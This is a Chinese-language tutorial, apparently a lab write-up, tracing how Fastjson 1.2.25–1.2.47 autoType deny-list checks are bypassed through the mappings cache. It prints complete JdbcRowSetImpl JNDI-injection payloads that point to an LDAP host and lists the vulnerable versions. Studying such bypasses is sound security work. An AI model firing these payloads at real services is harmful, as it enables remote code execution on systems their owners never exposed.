FastJson之autotype bypass
在1.2.25版本之后,添加了checkAutoType方法。在方法中引入了白名单(AutoType)、黑名单(denyList)和autoTypeSupport选项
checkAutoType方法
把ubuntu靶机的fastjson版本换到1.2.25,使用原始的payload进行debug
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}
在DefaultJSONParser#parseObject中被添加的checkAutoType()方法
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsISPrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdsATOfd3bkFGazxCMx8VesATMfhHLlN3XnxCMwEzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5yMhRTNwIWYkRDMzYTNkdjZ2EzNmlzM1ADOykDOiFzNz8CX0AzLchDMxIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjL1M3Lc9CX6MHc0RHaiojIsJye.png)
对比下图1.2.24版本的DefaultJSONParser#parseObject方法
autoTypeSupport
autoTypeSupport值:autoTypeSupport值在1.2.25版本开始的默认是为false(fastjson>=1.2.25默认为false)
开启方式:在代码中加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
首先跟进checkAutoType()方法,在方法710行中出现了autoTypeSupport
mappings缓存
mappings作用:在fastjson中,mappings作为一个缓存的功能,但是对绕过黑白名单起了一个很关键的作用,能绕过黑白名单的检查
在728行,出现了getClassFromMapping()方法,对typeName进行了解析(typeName就是com.sun.rowset.JdbcRowSetImpl)
跟进getClassFromMapping()方法后发现,这里从mappings中寻找key为com.sun.rowset.JdbcRowSetImpl的元素,并且返回对应的键值。
mappings集合中的数据对整个逻辑起了很重要的作用,下面只展示了部分mappings中的数据
最后会把从mappings中找到的元素进行返回给clazz,由于mappings集合中并没有com.sun.rowset.JdbcRowSetImpl元素,所以返回了null给clazz
继续往下,由于clazz为null,所以if判断为了false,直接走到了else中
这里又进行了一次autoTypeSupport值的判断,前面说了1.2.25开始默认为false,所以if判断为true进入下面的代码
denyList黑名单
denyList黑名单:在fastjson中,用了denyList黑名单来判断是否通过,匹配到黑名单就会直接抛出异常JSONException("autoType is not support. " + typeName)
从743行的for中遍历denyList数组中的元素,用if判断JdbcRowSetImpl是否存在denyList数组中
下面是denyList数组名单,com.sun.rowset.JdbcRowSetImpl被包含在了第3个
循环到第三次的时候,查到JdbcRowSetImpl存在于黑名单,所以抛出了异常
以上就是原始的payload打过去的效果了,可以发现,先是匹配了mappings缓存返回了null值,让if判断进入了else代码中,而else代码中则用denyList黑名单进行匹配抛出了异常,导致了payload失效
AutoType白名单
AutoType白名单:
- 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
- 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错
而AutoType白名单默认为null,由用户自己设置
当autoTypeSupport为默认值(false)时候,会先进行 黑名单匹配denyList,匹配不成功则进入白名单匹配
绕过黑名单检查
前面说了,fastjson会从mappings缓存中读取JdbcRowSetImpl然后赋值给clazz。由于缓存中并不存在JdbcRowSetImpl,所以为null,则进入了else逻辑进行黑名单判断
绕过思路为让com.sun.rowset.JdbcRowSetImpl进入一次mapping缓存,第二次再执行checkAutoType方法就会从mapping缓存中取出com.sun.rowset.JdbcRowSetImpl从而绕过黑白名单
以下是绕过补丁的payload:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
关于com.sun.rowset.JdbcRowSetImpl是怎么加入mapping缓存的可以看看这篇文章,有详细讲到:http://blog.topsec.com.cn/fastjson历史漏洞研究(二)/
发送payload后,查看checkAutoType方法
可以看到,这里clazz已经不为null,直接if判断为了true,从而不进入else语句,直接进行了return,从而绕过了检查
最终弹出计算器
总结:
payload:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
1.2.25-1.2.32版本:需要未开启AutoTypeSupport。开启了AutoTypeSupport将导致失效
1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用
原因是1.2.33版本,以下的黑名单过滤判断中,com.sun.rowset.JdbcRowSetImpl存在于mappings缓存中导致了第二个判断条件为false,从而使得黑名单判断语句失效